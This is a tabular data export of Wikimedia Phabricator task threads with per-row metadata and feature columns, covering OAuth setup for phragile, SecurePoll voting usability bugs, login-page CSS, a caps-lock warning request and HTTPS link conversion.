+The client is set up at https://phabricator.wikimedia.org/oauthserver/client/view/PHID-OASC-nrnpck7slhp2upsgkfrx/ - it is editable by @abraham and phabricator administrators.",,,1431673670,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-kuvvshzwmdawexammucy,task_subcomment,,True,c3,1,True,,,-7,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,0
+458892,Activate OAuth Server Application in Phabricator for phragile login,"Though, it might make sense to make #security aware of this change.",,,1431630249,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-kuvvshzwmdawexammucy,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+458890,Activate OAuth Server Application in Phabricator for phragile login,"I don't know if we really need help from #operations, I can probably set this up.",,,1431630199,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-kuvvshzwmdawexammucy,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+98441,Convert lighttpd-starter from bash to python,Properly. With templates for generating the output config file.,Medium,50.0,1430980090,1433370483.0,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-iu6mhxxvuuwzv2o45xwj,task_description,resolved,True,c3,1,True,True,True,-8,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+458994,Convert lighttpd-starter from bash to python,"Change 210833 merged by jenkins-bot:
+Add lighttpd server types
+
+[[https://gerrit.wikimedia.org/r/210833]]",,,1431639706,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iu6mhxxvuuwzv2o45xwj,task_subcomment,,True,c3,1,False,,,-7,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+458570,Convert lighttpd-starter from bash to python,"Change 210833 had a related patch set uploaded (by Yuvipanda):
+Add lighttpd server types
+
+[[https://gerrit.wikimedia.org/r/210833]]
+",,,1431563621,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iu6mhxxvuuwzv2o45xwj,task_subcomment,,True,c3,1,False,,,-7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+98399,.inputs-box style shoudl only be loaded on login page,"Some css rules appear in common.less but are only used on the mobile custom login page. They should be moved.
+",Medium,50.0,1430943263,1431439035.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-ujvubqk7dtx2wpwfjkdj,task_description,resolved,True,c3,1,True,True,True,-9,True,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1
+457546,.inputs-box style shoudl only be loaded on login page,"Change 210284 merged by jenkins-bot:
+Only load inputs-box styles on login page
+
+[[https://gerrit.wikimedia.org/r/210284]]",,,1431438814,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ujvubqk7dtx2wpwfjkdj,task_subcomment,,True,c3,1,False,,,-8,True,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+457406,.inputs-box style shoudl only be loaded on login page,"Change 210284 had a related patch set uploaded (by Jdlrobson):
+Only load inputs-box styles on login page
+
+[[https://gerrit.wikimedia.org/r/210284]]
+",,,1431418534,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ujvubqk7dtx2wpwfjkdj,task_subcomment,,True,c3,1,False,,,-8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+98013,Voting process rejects user login and loses votes contrary to what it announces,"Quite often, on Wikipedia and other sites, a banner invites me — again and again — to vote for something. 
+Quite often, this ends up in an over-complicated process full of jargon, trapped with bugs and wrong directions and dead ends. Last time, I gave up voting.
+
+The vote today is nicer. :-) But it is still buggy and not user-friendly.
+
+On Wikipedia, a banner invites me to vote. 
+I go to this vote. 
+I get the page that starts with a little explanation: please make your votes here, all your votes are neutral by default, you may set your votes now and come back later and change them. 
+Fine. 
+I click the link for the presentation of a candidate, I come back to the voting page, I set my vote. 
+I do the same for another candidate... 
+I click other links too. 
+I go to other Web sites too. 
+I go back to the page of my votes. 
+
+I expect to find the same page as before, with my votes kept as promised.
+
+Instead, I find a barrier. A page says that I must log in. But how? There is a little link “Log in” at the top right. See this screen photo:
+
+{F160349, alt=""Barrier. The page says that I must log in. But how? There is a little link “Log in” at the top right.""}
+
+I click the link “Log in”. I try to log in.
+
+I expect the auth to work and I expect to land on the page for voting, with my votes kept as promised. 
+
+Instead, I find a dead end. A page gives me an insult message: login error, no user “Nnemo”. The page asks me to log in. This turns the dead end into an infinite loop. ;-) See this screen photo:
+
+{F160364, alt=""Dead end. The page gives me an insult message: login error, no user “Nnemo”. The page asks me to log in. This turns the dead end into an infinite loop. ;-) ""}
+
+...
+
+Finally, after circumventing the traps, I get back the voting page. I expect the voting page to have my votes kept, as promised. Instead, my votes are lost and the votes are all neutral.
+
+It would be nice to fix and improve that.
+
+Thank you.
+
+I have Safari on iOS 8 on an iPad.
+
+Nnemo
+",Medium,50.0,1430752987,,PHID-USER-fjve3gq5wsmaaccti7pb,False,,False,PHID-TASK-s6ul6haqag7tqeoc76xa,task_description,open,True,c3,1,False,False,,-9,True,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,0,0
+2046448,Voting process rejects user login and loses votes contrary to what it announces,"Evaluation:
+> Task description is unclear. Could be a bugfix as well as a feature request.",,,1673365192,,PHID-USER-55fuvu3zppmtjqx3xqgf,False,,,PHID-TASK-s6ul6haqag7tqeoc76xa,task_subcomment,,True,c3,3,False,,,392,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1
+1924332,Voting process rejects user login and loses votes contrary to what it announces,">>! In T98013, @Nnemo wrote:
+> Instead, I find a barrier. A page says that I must log in. But how? There is a little link “Log in” at the top right.
+
+This task is very old but I want to flag here that there is a related bug for this at T289542.
+
+The general problem here is valid though I don't think is really solvable without a ""save ballot as draft"" feature or something like that, which I guess would require cookies.
+",,,1653684994,,PHID-USER-55fuvu3zppmtjqx3xqgf,False,,,PHID-TASK-s6ul6haqag7tqeoc76xa,task_subcomment,,True,c3,3,False,,,360,True,0,1,1,0,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,0,0,0,0,1
+466649,Voting process rejects user login and loses votes contrary to what it announces,">>! In T98013#1310354, @Varnent wrote:
+> Opening links in a new window is not ideal - but the best solution given the technical constraints we are working within for now.
+
+From my experience (see past comment), it would not fix anything.
+",,,1433160740,,PHID-USER-fjve3gq5wsmaaccti7pb,False,,,PHID-TASK-s6ul6haqag7tqeoc76xa,task_subcomment,,True,c3,1,False,,,-5,True,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,1,1
+463598,Voting process rejects user login and loses votes contrary to what it announces,"The link for Nisar Ahmed Syed works for me - I am guessing that it is browser sensitive. I have changed it to a more generic link.
+
+Opening links in a new window is not ideal - but the best solution given the technical constraints we are working within for now.
+
+As for the votes not holding, the instructions say that if you return they will reset to neutral. That is intentional to prevent someone from being able to see how someone else (perhaps using their computer) voted in the elections. Per the instructions:
+""You can return to change your votes any time while voting is open. All of your votes will be reset to ""neutral"" and you will have to re-enter any support or oppose votes.""",,,1432566946,,PHID-USER-tbsqok4i4d2fpoef36s2,False,,,PHID-TASK-s6ul6haqag7tqeoc76xa,task_subcomment,,True,c3,1,True,,,-6,True,1,1,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,0,0,1,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0
+463339,Voting process rejects user login and loses votes contrary to what it announces,">>! In T98013#1308513, @Nnemo wrote:
+> In the voting page, for the candidate
+
+This is unrelated to what this task is about. One problem per task only, please.",,,1432547002,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-s6ul6haqag7tqeoc76xa,task_subcomment,,True,c3,1,True,,,-6,True,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,1,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,1
+463247,Voting process rejects user login and loses votes contrary to what it announces,">>! In T98013#1308511, @Nnemo wrote:
+> Tonight, Wikimedia invited me to vote in another election.
+
+In the voting page, for the candidate Nisar Ahmed Syed, the link to the presentation does not work. So the election is not fair. You may want to do something about that.
+",,,1432525866,,PHID-USER-fjve3gq5wsmaaccti7pb,False,,,PHID-TASK-s6ul6haqag7tqeoc76xa,task_subcomment,,True,c3,1,False,,,-6,True,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,1,0,0,0,1
+463246,Voting process rejects user login and loses votes contrary to what it announces,"Thank you @Jalexander for taking interest in this issue.
+
+>>! In T98013#1281608, @Jalexander wrote:
+> One thought I have that might be helpful though, is would it be useful if I made all of the links auto open in a new tab or window? That way the 'vote' page remains open in it's own tab/window and you can go back and change things/vote without navigating away and potentially having issues?
+
+No. This is a //FBI//: //fausse bonne idée//. :-) 
+
+These “opening links” are a horrible non-standard thing. They give very bad user experience, especially on mobile devices. On Wikimedia sites, links are normal, so the user expects links to open normally. Breaking this would give a bad surprise to the user.
+
+**The user** controls whether s/he wants to open the links in other windows or tabs, and anyway that does not solve the problem, as we will see.
+
+Tonight, Wikimedia invited me to vote in another election. I had the voting page, and I kept it. This time, no navigating back. From this page, I opened several links to the presentation of candidates, **in new windows**. With Firefox Mac. When I had set my votes, I sent the form. And I encountered the same issues: “log in” trap, dead end, and so on. 
+
+When the user sends the form with the votes, the form is expected to just work. I think that this is the first thing to fix here. And probably the easiest.
+",,,1432525296,,PHID-USER-fjve3gq5wsmaaccti7pb,False,,,PHID-TASK-s6ul6haqag7tqeoc76xa,task_subcomment,,True,c3,1,False,,,-6,True,1,0,1,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1
+463245,Voting process rejects user login and loses votes contrary to what it announces,"Thank you @Jalexander for taking interest in this issue.
+
+>>! In T98013#1281608, @Jalexander wrote:
+> One thought I have that might be helpful though, is would it be useful if I made all of the links auto open in a new tab or window? That way the 'vote' page remains open in it's own tab/window and you can go back and change things/vote without navigating away and potentially having issues?
+
+No. This is a //FBI//: //fausse bonne idée//. 
+
+These “opening links” are a horrible non-standard thing. They give very bad user experience, especially on mobile devices. On Wikimedia sites, links are normal, so the user expects links to open normally. Breaking this would give a bad surprise to the user.
+
+**The user** controls whether s/he wants to open the links in other windows or tabs, and anyway that does not solve the problem, as we will see.
+
+Tonight, Wikimedia invited me to vote in another election. I had the voting page, and I kept it. This time, no navigating back. From this page, I opened several links to the presentation of candidates, **in new windows**. With Firefox Mac. When I had set my votes, I sent the form. And I encountered the same issues: “log in” trap, dead end, and so on. 
+
+When the user sends the form with the votes, the form is expected to just work. I think that this is the first thing to fix here. And probably the easiest.
+",,,1432525159,,PHID-USER-fjve3gq5wsmaaccti7pb,False,,,PHID-TASK-s6ul6haqag7tqeoc76xa,task_subcomment,,True,c3,1,False,,,-6,True,1,0,1,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1
+461413,Voting process rejects user login and loses votes contrary to what it announces,Removed Patch-For-Review as that got merged but keeping task open as I assume there's more to fix here,,,1432133813,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-s6ul6haqag7tqeoc76xa,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+458748,Voting process rejects user login and loses votes contrary to what it announces,"Change 210849 merged by jenkins-bot:
+Open external links on voteWiki in new tab/window
+
+[[https://gerrit.wikimedia.org/r/210849]]",,,1431615674,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-s6ul6haqag7tqeoc76xa,task_subcomment,,True,c3,1,False,,,-7,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+458593,Voting process rejects user login and loses votes contrary to what it announces,"Change 210849 had a related patch set uploaded (by Jalexander):
+Open external links on voteWiki in new tab/window
+
+[[https://gerrit.wikimedia.org/r/210849]]
+",,,1431571052,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-s6ul6haqag7tqeoc76xa,task_subcomment,,True,c3,1,False,,,-7,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+458047,Voting process rejects user login and loses votes contrary to what it announces,">>! In T98013#1281579, @Aklapper wrote:
+> What is ""the vote today"" and how to find it?
+
+It is no longer a vote today :) This is the FDC election that ended on Sunday (There is another one starting this Sunday though for the Board).
+
+
+To the question at hand, sadly much of this is the SecurePoll system which I've been trying to find ways to make better and easier (and I think we we have) but it still has a ways to go for sure. I'm sorry that we didn't see this during the election itself but I am glad that you at least were able to vote in the end. Thanks Andre for adding me.
+
+Some of these issues are core issues in SecurePoll that will be tough to fix quickly but I want to help developers make more changes in the future as well and so they are very good to document to help find where to focus. Other things I want to try and make more user friendly or at least 'easier' to work around the problems. Let me know if any of these sound like they could help.
+
+
+
+  - Need to log in
+   - The SecurePoll system uses a completely different log in system sadly, so attempting to 'log in' to voteWiki won't actually help (even if you could you wouldn't necessarily be able to vote) it gets it's ""log in"" info when you are sent from Meta, the first page you landed on after clicking the banner.
+   - Do you think this would be a bit easier if we put a big ""start voting over"" or ""get back to fresh ballot"" type link on the side bar and/or the home page/log in page? Perhaps with a note on the log in page that they can't log in to vote? I know that isn't perfect but at least will let people know to stop trying and how to get back to the start.
+
+  - Following links and then coming back to have issues (log in/empty ballot etc)
+   - Hmm, I don't know a good way to stop the issues if you use the back button a couple times without working with some more major changes that won't be ready for the next election (Sunday for 2 weeks, then we'll have a year or two to make changes :) ).  One thought I have that might be helpful though, is would it be useful if I made all of the links auto open in a new tab or window? That way the 'vote' page remains open in it's own tab/window and you can go back and change things/vote without navigating away and potentially having issues?
+
+  - Empty ballot
+   - This one is also tough sadly, the best thing I can come up with is the 'open links in new tab' option above and making sure it doesn't time out or anything too early. You can always change you vote (come back and revote) but even there it's always a fresh ballot because the system encrypts your vote (and can't read it back to refill the selections). It's possible with more work they could find a secure way to do it in the session.
+
+
+So, no perfect answers right now but I really appreciate you filing this so that we can try to make the whole process better. From my experience it IS better then it has been in the past 2-10 years for this type of election but... that isn't saying much :).
+
+
+",,,1431504374,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-s6ul6haqag7tqeoc76xa,task_subcomment,,True,c3,1,False,,,-8,True,1,0,1,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1
+458036,Voting process rejects user login and loses votes contrary to what it announces,"What is ""the vote today"" and how to find it?",,,1431500351,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-s6ul6haqag7tqeoc76xa,task_subcomment,,True,c3,1,True,,,-8,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,0,1,0,0,0
+453887,Voting process rejects user login and loses votes contrary to what it announces,"On clicking the button to send my votes, the same problems occur: the page saying that I must log in, and so on.
+",,,1430830503,,PHID-USER-fjve3gq5wsmaaccti7pb,False,,,PHID-TASK-s6ul6haqag7tqeoc76xa,task_subcomment,,True,c3,1,False,,,-9,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+112160,Login form should check for caps lock,"The login form (Special:UserLogin) should display a warning message when it detects that the user is typing his or her password with caps lock on.
+
+This could be accomplished, say, with [[ http://stackoverflow.com/q/348792/1757964 | one of these methods ]].",Low,25.0,1441914932,,PHID-USER-bofliv5ffjq5mznvskiz,False,,False,PHID-TASK-fcgvbknn5f72enu4klvd,task_description,open,True,c3,3,False,False,,10,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+537184,Login form should check for caps lock,"On my IE11 there is a warning when using caps lock on password fields.
+
+There are also other special pages with password fields.",,,1443539401,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-fcgvbknn5f72enu4klvd,task_subcomment,,True,c3,3,True,,,12,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+524693,Login form should check for caps lock,"On my IE11 there is a warning when using caps lock on password fields.
+
+There are also other special pages with password fields:",,,1441915358,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-fcgvbknn5f72enu4klvd,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+111693,Convert selected external links to HTTPS,"From a recent WP:VPT discussion, it was suggested to have the following added as an automatic ""general fix"" in AWB: changing the protocol for certain external links from HTTP to HTTPS, although only within citation templates. For now, this should include a number of Google services (e.g. Google Books, Google News, YouTube) and the Internet Archive (i.e. Wayback Machine). In essence, this should probably be some sort of RegEx feature that looks for `|url=http://books.google.[com|co.uk|ca|de|it|es|...]` and replaces it with `|url=https://books.google.com` (yes, the top-level domain switch is intentional here, since Google redirects from `.com` to a specific country version, and we should keep the links general). The same for Google News, YouTube as well as `http://archive.org` and `http://web.archive.org/` links. (For the latter, of course, the RegEx would have to find `|archiveurl=http://[web|wayback].archive.org/`)",Low,25.0,1441636767,,PHID-USER-tfbizjpz7uuo3l4mhydh,False,,False,PHID-TASK-cbfsjee5h5hzymigqnwr,task_description,open,True,c3,3,False,False,,9,True,1,0,0,1,0,1,1,0,1,0,1,0,0,1,0,1,0,1,1,0,1,1,1,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,0,1,0,1,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+1508667,Convert selected external links to HTTPS,">>! In T111693#1627491, @bender235 wrote:
+> Just to let you guys no, I opened an [[ https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(proposals)#RfC:_Should_we_convert_existing_Google_and_Internet_Archive_links_to_HTTPS.3F | RfC on this issue ]].
+
+https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(proposals)/Archive_127#RfC:_Should_we_convert_existing_Google_and_Internet_Archive_links_to_HTTPS%3F says `Closing comment: There is near-unanimous consensus in favor of converting the mentioned links to a secure HTTPS connection.`
+
+I have no idea what that means for this ticket, but ticket should not be in ""stalled"" status for five years, hence reopening. :) (Feel free to decline, etc.)",,,1590057802,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,True,,,255,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,0,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1
+890970,Convert selected external links to HTTPS,"For webarchive, because have https, i request to add changing from http to https. I resolved that using python on Serbian Wikipedia. Https is security protocol. I requested also to add https when weblinkchecker script report dead link on talk page (https://web.archive.org), no http://web.archive.org",,,1499726729,,PHID-USER-j7jwnj5chzo76nqqvgqc,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,True,,,105,True,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+524880,Convert selected external links to HTTPS,Why would we not simply make this apply to EN only? We can always change it later.,,,1441927740,,PHID-USER-yue5rzfyxiyeqbxu5yh3,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+524654,Convert selected external links to HTTPS,"Just to let you guys no, I opened an [[ https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(proposals)#RfC:_Should_we_convert_existing_Google_and_Internet_Archive_links_to_HTTPS.3F | RfC on this issue ]].",,,1441913580,,PHID-USER-tfbizjpz7uuo3l4mhydh,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
